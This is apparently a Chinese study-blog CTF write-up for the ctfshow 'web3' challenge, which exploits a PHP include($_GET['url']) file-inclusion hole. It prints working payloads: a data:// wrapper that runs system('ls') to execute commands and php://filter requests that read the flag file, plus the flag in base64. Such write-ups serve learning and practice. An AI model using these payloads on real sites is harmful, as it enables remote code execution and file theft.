当前位置: 首页 > news >正文

【Day4】

ctfshow

web3

题目只有一行这个 <?php include($_GET['url']);?>

include()这是 PHP 的一个函数。它的作用是把另一个文件的内容“拿过来”,直接插入到当前代码的位置执行。

所以这句话的意思就是: 这个网站会把我们用GET请求的url的值直接拿过来执行

所以可以直接在网址后面加上

?url=这里是想让include执行的内容

data:协议原本是用来在网页中直接嵌入小图片或小文件的(比如<img src="data:image/png;base64,...">)。
但在 PHP 的include()函数中,如果开启了allow_url_include,它就可以被用来直接执行代码。

这句就是我们想执行的php代码,

<?php system("ls");?>

用来获取目录

?url=data://text/plain,<?php system("ls");?>

得到文件名字 ctf_go_go_go

之后可以直接获取 ,

这条语句让文件内容进行base64加密后再展示给我们,

?url=php://filter/convert.base64-encode/resource=文件名

然后得到下图内容Y3Rmc2hvd3tjZmQ1MGFkNC01MzE1LTQ5MWUtYmNmNC0xMDM3YzFiMDgyYTR9Cg==后可以用工具cyberchef解密

或者,,这题可以直接用这个,也能拿到flag

?url=php://filter/resource=ctf_go_go_go

http://www.jsqmd.com/news/472709/

相关文章:

  • 推荐斯坦福计算机课程CS146S:当代软件工程师
  • 深度剖析DbContext的ChangeTracker:Entity状态管理与数据持久化关键
  • JMM——Java内存模型简介
  • 2026年电商生鲜海报制作复盘:从选图到定稿的全流程
  • AI Agent 实战:从零搭建你的第一个智能助手
  • 代码随想录Day2
  • 【2026最新版】PCL点云处理算法汇总(C++长期更新版)
  • Node.js RESTful API 深入解析
  • 2026年新能源汽车市场将走向何方?这份深度调研为你揭晓答案!
  • 好软推荐-自用软件
  • asp毕业设计—— 基于asp+access的企业人力资源管理系统设计与实现(毕业论文+程序源码)——人力资源管理系统
  • 基于YOLOV8深度学习新能源车牌识别系统+opencv+cnn的车牌检测与识别图像识别
  • 性能监控之 blackbox_exporter+Prometheus+Grafana 实现网络探测
  • 面试官:MCP 与 Skills 有什么区别?
  • asp毕业设计—— 基于asp+access的人事管理系统设计与实现(毕业论文+程序源码)——人事管理系统
  • CMIS_TxRx和DSP的TxRx对应关系
  • 第3篇:Spring Boot + WebSocket + 消息队列STOMP协议发布订阅模式 实现多频道实时消息广播
  • 毕业论文AI率超标怎么办?嘎嘎降AI帮你一键搞定
  • asp毕业设计—— 基于asp+access的软件信息发布系统设计与实现(毕业论文+程序源码)——软件信息发布系统
  • Texlive + TexStudio 安装教程(附安装包)
  • 【Unity编辑器扩展】(二)PSD转UGUI Prefab, 图层解析和碎图导出
  • asp毕业设计—— 基于asp+access的实验室设备管理系统设计与实现(毕业论文+程序源码)——实验室设备管理系统
  • 004、体系结构之TiKV分布式事务
  • 第5篇:websocket http握手拦截器HandshakeInterceptor 介绍和使用
  • springboot基于JavaWeb的网络流量数据样本管理系统2s55x231
  • 告别低效!Windows 部署 OpenClaw,解锁你的私人 AI 数字员工
  • 005、体系结构之TiKV_Raft日志
  • websocket 随手记
  • asp毕业设计—— 基于asp+access的网络招聘管理系统设计与实现(毕业论文+程序源码)——网络招聘管理系统
  • 探索AI视觉新高度:MMDetection深度学习框架详解